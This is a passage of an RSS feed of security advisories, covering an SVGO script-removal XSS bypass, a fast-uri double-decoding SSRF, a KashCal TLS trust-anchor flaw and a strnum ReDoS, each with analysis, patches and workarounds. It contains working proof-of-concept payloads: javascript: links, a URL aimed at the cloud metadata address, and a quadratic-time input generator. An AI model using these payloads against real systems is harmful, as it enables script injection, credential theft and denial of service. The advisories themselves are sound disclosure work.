<span class="line"><span style="color:var(--code-token-constant)">console</span><span style="color:var(--code-token-function)">.log</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-function)">run</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">`&#x3C;svg </span><span style="color:var(--code-token-keyword)">${</span><span style="color:var(--code-foreground)">ns</span><span style="color:var(--code-token-keyword)">}</span><span style="color:var(--code-token-string-expression)">>&#x3C;a href="java&#x26;#9;script:alert(1)">&#x3C;text>x&#x3C;/text>&#x3C;/a>&#x3C;/svg>`</span><span style="color:var(--code-foreground)">)); </span><span style="color:var(--code-token-comment)">// kept</span></span>
<span class="line"><span style="color:var(--code-token-constant)">console</span><span style="color:var(--code-token-function)">.log</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-function)">run</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">`&#x3C;svg </span><span style="color:var(--code-token-keyword)">${</span><span style="color:var(--code-foreground)">ns</span><span style="color:var(--code-token-keyword)">}</span><span style="color:var(--code-token-string-expression)">>&#x3C;svg:a xlink:href="javascript:alert(1)">&#x3C;text>x&#x3C;/text>&#x3C;/svg:a>&#x3C;/svg>`</span><span style="color:var(--code-foreground)">)); </span><span style="color:var(--code-token-comment)">// kept</span></span></code></pre>
<p>The baseline anchor is collapsed. The other two come out with the link intact, and <code>new URL(href).protocol</code> on each is <code>"javascript:"</code>.</p>
<h2 id="caveat"><a href="https://security.peng.ly/reports/svgo-removescripts-link-bypass#caveat">Caveat</a></h2>
<p>I couldn't run this in a real browser here, so the execution half rests on the URL spec and on your own GHSA-2p49 reasoning that a namespace-prefixed element still executes. The tab case I did confirm with Node's WHATWG URL parser: <code>new URL('java\tscript:alert(1)').protocol</code> is <code>javascript:</code>.</p>
<p>The control-character case also depends on how the SVG is consumed. Inline in HTML the literal tab is preserved and it runs; re-parsed as standalone <code>image/svg+xml</code>, XML normalises the tab to a space and it doesn't. The namespaced anchor has no such dependency - it's a clean <code>javascript:</code> URL.</p>
<p><code>removeScripts</code> is opt-in, and the anchor vector needs a click, same as the anchor case in GHSA-2p49.</p>
<h2 id="impact"><a href="https://security.peng.ly/reports/svgo-removescripts-link-bypass#impact">Impact</a></h2>
<p>If you run <code>removeScripts</code> to sanitise user-supplied SVGs and serve them same-origin, these two links stay executable - the XSS scenario that advisory describes. A fix would route the anchor href through the same namespace-aware path as <code>&#x3C;script></code>, and normalise the scheme (strip ASCII tab/newline/CR) before the <code>javascript:</code> / <code>vbscript:</code> comparison.</p>
<h2 id="patches"><a href="https://security.peng.ly/reports/svgo-removescripts-link-bypass#patches">Patches</a></h2>
<table>
<thead>
<tr>
<th>Release line</th>
<th>Patched version</th>
<th>Plugin</th>
</tr>
</thead>
<tbody>
<tr>
<td>v2</td>
<td>2.8.4</td>
<td><code>removeScriptElement</code></td>
</tr>
<tr>
<td>v3</td>
<td>3.3.5</td>
<td><code>removeScriptElement</code></td>
</tr>
<tr>
<td>v4</td>
<td>4.1.0</td>
<td><code>removeScripts</code></td>
</tr>
</tbody>
</table>
<p>The fix makes SVG anchor handling namespace-aware and strips ASCII tabs, line feeds, and carriage returns before checking executable URL schemes. Anchors in unrelated custom namespaces are not executable SVG anchors and remain untouched.</p>
<p>SVGO v1 is no longer maintained. Users of v1 should upgrade to a supported release line.</p>
<h2 id="workarounds"><a href="https://security.peng.ly/reports/svgo-removescripts-link-bypass#workarounds">Workarounds</a></h2>
<p>SVGO is an optimizer rather than a comprehensive sanitization library, but <code>removeScripts</code> is maintained for consumers that already rely on it to remove common script execution paths. For hostile input, use a dedicated SVG sanitization tool before passing the SVG to SVGO. Applications can also reject links from untrusted SVG input and avoid serving user-controlled SVGs in an active same-origin context.</p>]]></content:encoded>
      <category>CWE-79: Improper Neutralization of Input During Web Page Generation (&#39;Cross-site Scripting&#39;)</category><category>CWE-184: Incomplete List of Disallowed Inputs</category>
      <enclosure url="https://security.peng.ly/og/svgo-removescripts-link-bypass.png" type="image/png" length="81101" />
    </item>
    <item>
      <title>fast-uri vulnerable to server-side request forgery via repeated hostname percent-decoding</title>
      <link>https://security.peng.ly/reports/fast-uri-hostname-double-decoding-ssrf</link>
      <guid isPermaLink="true">https://security.peng.ly/reports/fast-uri-hostname-double-decoding-ssrf</guid>
      <pubDate>Sun, 23 Aug 2026 00:00:00 GMT</pubDate>
      <description>fastify/fast-uri: A hostname that&#39;s percent-encoded twice gets decoded twice, so a URL that looks harmless can still send the request to localhost or a cloud metadata address.</description>
      <content:encoded><![CDATA[<h2 id="summary"><a href="https://security.peng.ly/reports/fast-uri-hostname-double-decoding-ssrf#summary">Summary</a></h2>
<p><code>parse()</code> decodes the host at <code>index.js:375</code> and re-escapes only <code>/ : ? # @</code>. <code>recomposeAuthority()</code> decodes it again at <code>lib/utils.js:552</code>, so other double-encoded bytes become live characters in the authority, <code>.</code> and <code>\</code> being the ones that matter. <code>normalize()</code>, <code>serialize()</code>, <code>equal()</code> and <code>resolve()</code> can then return an authority the input never named.</p>
<p>It's an incomplete fix of CVE-2026-6322, whose fix covered the five delimiters rather than the second decode itself. Happy for this to land on that advisory instead if you'd rather.</p>
<h2 id="proof-of-concept"><a href="https://security.peng.ly/reports/fast-uri-hostname-double-decoding-ssrf#proof-of-concept">Proof of concept</a></h2>
<pre class="shiki tokens" style="background-color:var(--code-background);color:var(--code-foreground)" tabindex="0"><code><span class="line"><span style="color:var(--code-token-keyword)">const</span><span style="color:var(--code-token-constant)"> uri</span><span style="color:var(--code-token-keyword)"> =</span><span style="color:var(--code-token-function)"> require</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">'fast-uri'</span><span style="color:var(--code-foreground)">) </span><span style="color:var(--code-token-comment)">// 4.1.2</span></span>
<span class="line"></span>
<span class="line"><span style="color:var(--code-token-constant)">uri</span><span style="color:var(--code-token-function)">.resolve</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">'https://allowed.com/api/v1/'</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-token-string-expression)"> '//169%252E254%252E169%252E254/latest/meta-data/'</span><span style="color:var(--code-foreground)">)</span></span>
<span class="line"><span style="color:var(--code-token-comment)">// 'https://169.254.169.254/latest/meta-data/'</span></span></code></pre>
<p><code>resolve()</code> is the awkward one: it returns a plain string, never throws, and has no error field to check.</p>
<p>It also shows up without involving a second parser, just <code>fast-uri</code> disagreeing with itself:</p>
<pre class="shiki tokens" style="background-color:var(--code-background);color:var(--code-foreground)" tabindex="0"><code><span class="line"><span style="color:var(--code-token-keyword)">const</span><span style="color:var(--code-token-constant)"> out</span><span style="color:var(--code-token-keyword)"> =</span><span style="color:var(--code-token-constant)"> uri</span><span style="color:var(--code-token-function)">.normalize</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">'http://allowed.com%255Cevil.com/'</span><span style="color:var(--code-foreground)">)</span></span>
<span class="line"><span style="color:var(--code-token-comment)">// 'http://allowed.com\evil.com/'</span></span>
<span class="line"></span>
<span class="line"><span style="color:var(--code-token-constant)">uri</span><span style="color:var(--code-token-function)">.parse</span><span style="color:var(--code-foreground)">(out).error</span></span>
<span class="line"><span style="color:var(--code-token-comment)">// 'URI authority must not contain a literal backslash.'</span></span></code></pre>
<p>A literal backslash there is what you fixed in 4.1.1 for CVE-2026-16221.</p>
<h2 id="caveat"><a href="https://security.peng.ly/reports/fast-uri-hostname-double-decoding-ssrf#caveat">Caveat</a></h2>
<p>On <code>http</code>/<code>https</code>/<code>ws</code>/<code>wss</code>, <code>parse()</code> does set <code>.error</code> on that first input, because the <code>%</code> makes the internal <code>new URL()</code> throw, so anything checking that flag is fine on that path. The gap is that <code>normalize()</code>, <code>serialize()</code> and <code>equal()</code> don't check it (<code>index.js:425</code> and <code>:438</code> only bail on <code>malformedAuthorityOrPort</code>), and <code>resolve()</code> has nowhere to report it.</p>
<h2 id="impact"><a href="https://security.peng.ly/reports/fast-uri-hostname-double-decoding-ssrf#impact">Impact</a></h2>
<p><code>ajv</code> resolves every <code>$ref</code> against the schema's <code>$id</code>. With ajv 8.20.0 and a <code>$ref</code> of <code>//169%252E254%252E169%252E254/latest/meta-data/</code>, which contains no literal IP, <code>loadSchema()</code> was asked to fetch <code>https://169.254.169.254/latest/meta-data/</code>. That's ajv doing as it's told with the resolver's output rather than a bug in ajv.</p>
<h2 id="two-others-in-the-same-file-probably-unrelated"><a href="https://security.peng.ly/reports/fast-uri-hostname-double-decoding-ssrf#two-others-in-the-same-file-probably-unrelated">Two others in the same file, probably unrelated</a></h2>
<p>Canonicalisation (<code>index.js:356-367</code>) runs before the decode (<code>index.js:369-377</code>), so <code>normalize()</code> isn't idempotent on the authority: <code>http://0177.0.0%0D.1/</code> becomes <code>http://0177.0.0\r.1/</code>, then <code>http://127.0.0.1/</code>. A raw <code>\r</code> is caught, just not the encoded form.</p>
<p><code>getIPV6</code>'s final flush (<code>lib/utils.js:137-145</code>) pushes <code>stringArrayToHexStripped(buffer)</code> without checking it, and that returns <code>''</code> on failure, where <code>consumeHextets</code> at <code>:80-92</code> does check. So <code>parse('http://[::1zz]/').host</code> is <code>::</code> with no error set, and <code>equal('http://[::1zz]/', 'http://[::]/')</code> is true. <code>[::1zz]</code> isn't a valid <code>IP-literal</code> under RFC 3986.</p>
<p>Reproduced on 2.4.4, 3.1.5 and every 4.x up to 4.1.2. Happy to test a patch.</p>
<h2 id="patches"><a href="https://security.peng.ly/reports/fast-uri-hostname-double-decoding-ssrf#patches">Patches</a></h2>
<p>Fixed in <code>fast-uri</code> 2.4.5, 3.1.6, and 4.1.3.</p>
<h2 id="workarounds"><a href="https://security.peng.ly/reports/fast-uri-hostname-double-decoding-ssrf#workarounds">Workarounds</a></h2>
<p>Reject untrusted URIs whose host component contains an encoded percent sign (<code>%25</code>) before passing them to <code>normalize()</code> or <code>resolve()</code>.</p>]]></content:encoded>
      <category>CWE-174: Double Decoding of the Same Data</category><category>CWE-918: Server-Side Request Forgery (SSRF)</category>
      <enclosure url="https://security.peng.ly/og/fast-uri-hostname-double-decoding-ssrf.png" type="image/png" length="78285" />
    </item>
    <item>
      <title>TLS trust bypass: AIA chain completer installs the downloaded certificate as a trust anchor</title>
      <link>https://security.peng.ly/reports/kashcal-aia-chain-trust-bypass</link>
      <guid isPermaLink="true">https://security.peng.ly/reports/kashcal-aia-chain-trust-bypass</guid>
      <pubDate>Thu, 20 Aug 2026 00:00:00 GMT</pubDate>
      <description>KashCal/KashCal: Anyone between you and the server (dodgy Wi-Fi, say) can get their own certificate trusted and quietly rewrite the calendars KashCal subscribes to.</description>
      <content:encoded><![CDATA[<h2 id="summary"><a href="https://security.peng.ly/reports/kashcal-aia-chain-trust-bypass#summary">Summary</a></h2>
<p><code>AiaCertificateChainCompleter</code> completes broken TLS chains by downloading the intermediate named in the leaf's AIA extension. The bug is in <code>buildTrustManager</code>: it copies the system CAs into a <code>KeyStore</code>, adds the downloaded cert with <code>combinedStore.setCertificateEntry("aia-intermediate", intermediate)</code>, then <code>tmf.init(combinedStore)</code>. <code>TrustManagerFactory.init(KeyStore)</code> treats every entry as a trust anchor, so the downloaded cert becomes a root in its own right and its signature is never checked against a system root. The class comment says the opposite, that "a rogue intermediate is rejected".</p>
<p>Every input to that anchor is attacker-controlled on the network path. <code>IcsFetcher</code> and the settings validator both catch <code>SSLHandshakeException</code> and call the fallback, so an attacker's own untrusted cert triggers it. <code>getLeafCertificate</code> grabs the leaf over a trust-all socket with no hostname check, <code>extractAiaCaIssuersUrl</code> reads the caIssuers URL from it, and <code>downloadCertificate</code> fetches it over plain HTTP. The attacker serves their own CA there, it's installed as a trust anchor, and the request is retried with a leaf whose SAN is the target host, so hostname verification (kept on) passes. Both call sites ship in release, and <code>IcsRefreshWorker</code> runs the ICS path on a background schedule, so it fires with no user interaction.</p>
<h2 id="proof-of-concept"><a href="https://security.peng.ly/reports/kashcal-aia-chain-trust-bypass#proof-of-concept">Proof of concept</a></h2>
<p>Compiled the real <code>AiaCertificateChainCompleter.kt</code> unchanged (kotlinc 2.3.21, okhttp 5.4.0) and drove <code>buildTrustManager</code>. Make an attacker CA and a leaf for <code>caldav.victim.example</code> (that name in the SAN) signed by it. <code>buildTrustManager(attackerCA)</code> returns a trust manager that accepts the leaf, which chains only to the attacker CA. With the JVM's 144 real system roots also in the store, the leaf is still accepted; drop the attacker CA and it's rejected. So the downloaded cert alone validates the attacker's chain. Happy to share the harness.</p>
<h2 id="impact"><a href="https://security.peng.ly/reports/kashcal-aia-chain-trust-bypass#impact">Impact</a></h2>
<p>An on-path attacker (rogue Wi-Fi, DNS spoofing) gets a full TLS bypass on ICS subscription fetches. That channel carries no credentials, so the realistic damage is silent injection or modification of subscribed calendar content - titles, locations, URLs, reminders. They also read the request URL, exposing any token in a secret feed link. <code>intermediateCache</code> is process-static keyed by hostname, so one poisoning lasts until the app restarts.</p>
<h2 id="caveat"><a href="https://security.peng.ly/reports/kashcal-aia-chain-trust-bypass#caveat">Caveat</a></h2>
<p>I'd call this high, not critical: a complete defeat of transport security, but bounded to the unauthenticated ICS path and needing an on-path position. I reproduced the trust-anchor bypass directly; I haven't run a full device MITM, so the end-to-end attack is reasoned from the code. The fix is to treat the downloaded cert as an intermediate that must still chain to a system root (validate with PKIX / <code>CertPathValidator</code> against the system anchors), not as a trust anchor.</p>]]></content:encoded>
      <category>CWE-295: Improper Certificate Validation</category>
      <enclosure url="https://security.peng.ly/og/kashcal-aia-chain-trust-bypass.png" type="image/png" length="75404" />
    </item>
    <item>
      <title>Quadratic-time ReDoS in toNumber() for decimals with a long internal zero-run</title>
      <link>https://security.peng.ly/reports/strnum-tonumber-zero-run-redos</link>
      <guid isPermaLink="true">https://security.peng.ly/reports/strnum-tonumber-zero-run-redos</guid>
      <pubDate>Fri, 14 Aug 2026 00:00:00 GMT</pubDate>
      <description>NaturalIntelligence/strnum: A number with a long run of zeros in the middle takes seconds to parse, enough for one small XML body to freeze a Node app using fast-xml-parser.</description>
      <content:encoded><![CDATA[<h2 id="summary"><a href="https://security.peng.ly/reports/strnum-tonumber-zero-run-redos#summary">Summary</a></h2>
<p><code>toNumber()</code> takes O(n^2) time on a decimal string that has a long run of zeros somewhere before a later non-zero digit, for example <code>"0." + "0".repeat(n) + "1"</code>. The cost is a single line in <code>trimZeros()</code>:</p>
<pre class="shiki tokens" style="background-color:var(--code-background);color:var(--code-foreground)" tabindex="0"><code><span class="line"><span style="color:var(--code-foreground)">numStr </span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-token-constant)"> numStr</span><span style="color:var(--code-token-function)">.replace</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">/0</span><span style="color:var(--code-token-keyword)">+$</span><span style="color:var(--code-token-string-expression)">/</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-token-string-expression)"> ""</span><span style="color:var(--code-foreground)">);</span></span></code></pre>
<p>When <code>numStr</code> doesn't end in <code>0</code> (here it ends in <code>1</code>), the greedy <code>/0+$/</code> matches a maximal run of zeros, tests the <code>$</code> anchor, fails, backtracks, and retries from the next zero. That's one scan per zero, so n zeros cost O(n^2). <code>trimZeros()</code> runs unconditionally after the number regex matches, so the <code>leadingZeros</code> option doesn't gate it, and the sign doesn't matter.</p>
<h2 id="proof-of-concept"><a href="https://security.peng.ly/reports/strnum-tonumber-zero-run-redos#proof-of-concept">Proof of concept</a></h2>
<pre class="shiki tokens" style="background-color:var(--code-background);color:var(--code-foreground)" tabindex="0"><code><span class="line"><span style="color:var(--code-token-keyword)">import</span><span style="color:var(--code-foreground)"> toNumber </span><span style="color:var(--code-token-keyword)">from</span><span style="color:var(--code-token-string-expression)"> "strnum"</span><span style="color:var(--code-foreground)">;</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">for</span><span style="color:var(--code-foreground)"> (</span><span style="color:var(--code-token-keyword)">const</span><span style="color:var(--code-token-constant)"> n</span><span style="color:var(--code-token-keyword)"> of</span><span style="color:var(--code-foreground)"> [</span><span style="color:var(--code-token-constant)">8000</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-token-constant)"> 16000</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-token-constant)"> 32000</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-token-constant)"> 64000</span><span style="color:var(--code-foreground)">]) {</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">  const</span><span style="color:var(--code-token-constant)"> s</span><span style="color:var(--code-token-keyword)"> =</span><span style="color:var(--code-token-string-expression)"> "0."</span><span style="color:var(--code-token-keyword)"> +</span><span style="color:var(--code-token-string-expression)"> "0"</span><span style="color:var(--code-token-function)">.repeat</span><span style="color:var(--code-foreground)">(n) </span><span style="color:var(--code-token-keyword)">+</span><span style="color:var(--code-token-string-expression)"> "1"</span><span style="color:var(--code-foreground)">;</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">  const</span><span style="color:var(--code-token-constant)"> t</span><span style="color:var(--code-token-keyword)"> =</span><span style="color:var(--code-token-constant)"> process</span><span style="color:var(--code-token-function)">.</span><span style="color:var(--code-token-constant)">hrtime</span><span style="color:var(--code-token-function)">.bigint</span><span style="color:var(--code-foreground)">();</span></span>
<span class="line"><span style="color:var(--code-token-function)">  toNumber</span><span style="color:var(--code-foreground)">(s);</span></span>
<span class="line"><span style="color:var(--code-token-constant)">  console</span><span style="color:var(--code-token-function)">.log</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-constant)">s</span><span style="color:var(--code-foreground)">.</span><span style="color:var(--code-token-constant)">length</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-token-function)"> Number</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-constant)">process</span><span style="color:var(--code-token-function)">.</span><span style="color:var(--code-token-constant)">hrtime</span><span style="color:var(--code-token-function)">.bigint</span><span style="color:var(--code-foreground)">() </span><span style="color:var(--code-token-keyword)">-</span><span style="color:var(--code-foreground)"> t) </span><span style="color:var(--code-token-keyword)">/</span><span style="color:var(--code-token-constant)"> 1e6</span><span style="color:var(--code-token-keyword)"> +</span><span style="color:var(--code-token-string-expression)"> "ms"</span><span style="color:var(--code-foreground)">);</span></span>
<span class="line"><span style="color:var(--code-foreground)">}</span></span>
<span class="line"><span style="color:var(--code-token-comment)">// 8003  56ms | 16003 217ms | 32003 919ms | 64003 3597ms   (~4x per 2x = quadratic)</span></span></code></pre>
<p>I instrumented the module to be sure: for the 64k input, <code>trimZeros</code> accounts for 3877ms of the 3878ms total. <code>Number()</code> and the regexes are all sub-millisecond.</p>
<p>The same input reaches this through <code>fast-xml-parser</code> on its default options, since it calls <code>toNumber</code> on every tag value:</p>
<pre class="shiki tokens" style="background-color:var(--code-background);color:var(--code-foreground)" tabindex="0"><code><span class="line"><span style="color:var(--code-token-keyword)">import</span><span style="color:var(--code-foreground)"> { XMLParser } </span><span style="color:var(--code-token-keyword)">from</span><span style="color:var(--code-token-string-expression)"> "fast-xml-parser"</span><span style="color:var(--code-foreground)">;</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">new</span><span style="color:var(--code-token-function)"> XMLParser</span><span style="color:var(--code-foreground)">()</span><span style="color:var(--code-token-function)">.parse</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">"&#x3C;r>0."</span><span style="color:var(--code-token-keyword)"> +</span><span style="color:var(--code-token-string-expression)"> "0"</span><span style="color:var(--code-token-function)">.repeat</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-constant)">64000</span><span style="color:var(--code-foreground)">) </span><span style="color:var(--code-token-keyword)">+</span><span style="color:var(--code-token-string-expression)"> "1&#x3C;/r>"</span><span style="color:var(--code-foreground)">); </span><span style="color:var(--code-token-comment)">// ~3.5s, event loop blocked</span></span>
<span class="line"><span style="color:var(--code-token-comment)">// a benign 64KB number in the same position parses in ~4ms</span></span></code></pre>
<h2 id="impact"><a href="https://security.peng.ly/reports/strnum-tonumber-zero-run-redos#impact">Impact</a></h2>
<p>Anything that runs <code>toNumber()</code> on attacker-controlled strings can be stalled by one small input. Through <code>fast-xml-parser</code> (default config) a single ~100KB request body blocks the Node event loop for several seconds, and it scales quadratically from there, so it's a cheap unauthenticated denial of service. I'd suggest high severity, but I'll leave the CVSS vector to you.</p>
<p>A regex-free trailing-zero trim keeps the same output and removes the blowup:</p>
<pre class="shiki tokens" style="background-color:var(--code-background);color:var(--code-foreground)" tabindex="0"><code><span class="line"><span style="color:var(--code-token-keyword)">let</span><span style="color:var(--code-foreground)"> end </span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-token-constant)"> numStr</span><span style="color:var(--code-foreground)">.</span><span style="color:var(--code-token-constant)">length</span><span style="color:var(--code-foreground)">;</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">while</span><span style="color:var(--code-foreground)"> (end </span><span style="color:var(--code-token-keyword)">></span><span style="color:var(--code-token-constant)"> 0</span><span style="color:var(--code-token-keyword)"> &#x26;&#x26;</span><span style="color:var(--code-token-constant)"> numStr</span><span style="color:var(--code-token-function)">.charCodeAt</span><span style="color:var(--code-foreground)">(end </span><span style="color:var(--code-token-keyword)">-</span><span style="color:var(--code-token-constant)"> 1</span><span style="color:var(--code-foreground)">) </span><span style="color:var(--code-token-keyword)">===</span><span style="color:var(--code-token-constant)"> 48</span><span style="color:var(--code-foreground)">) end</span><span style="color:var(--code-token-keyword)">--</span><span style="color:var(--code-foreground)">;</span></span>
<span class="line"><span style="color:var(--code-foreground)">numStr </span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-token-constant)"> numStr</span><span style="color:var(--code-token-function)">.slice</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-constant)">0</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-foreground)"> end);</span></span></code></pre>
<p>That takes the 64k case from ~3.6s to under a millisecond, with identical results across the inputs I tried.</p>
<h2 id="caveat"><a href="https://security.peng.ly/reports/strnum-tonumber-zero-run-redos#caveat">Caveat</a></h2>
<p>I've reproduced the quadratic timing on 1.1.2, 2.0.0, 2.3.0 and 2.4.1, and the line is present back to 1.0.5, but I've not tested every release in between. I haven't checked whether any downstream cap (a max input length somewhere upstream) already limits this in a given deployment.</p>]]></content:encoded>
      <category>CWE-1333: Inefficient Regular Expression Complexity</category>
      <enclosure url="https://security.peng.ly/og/strnum-tonumber-zero-run-redos.png" type="image/png" length="76674" />
    </item>
  </channel>
</rss>
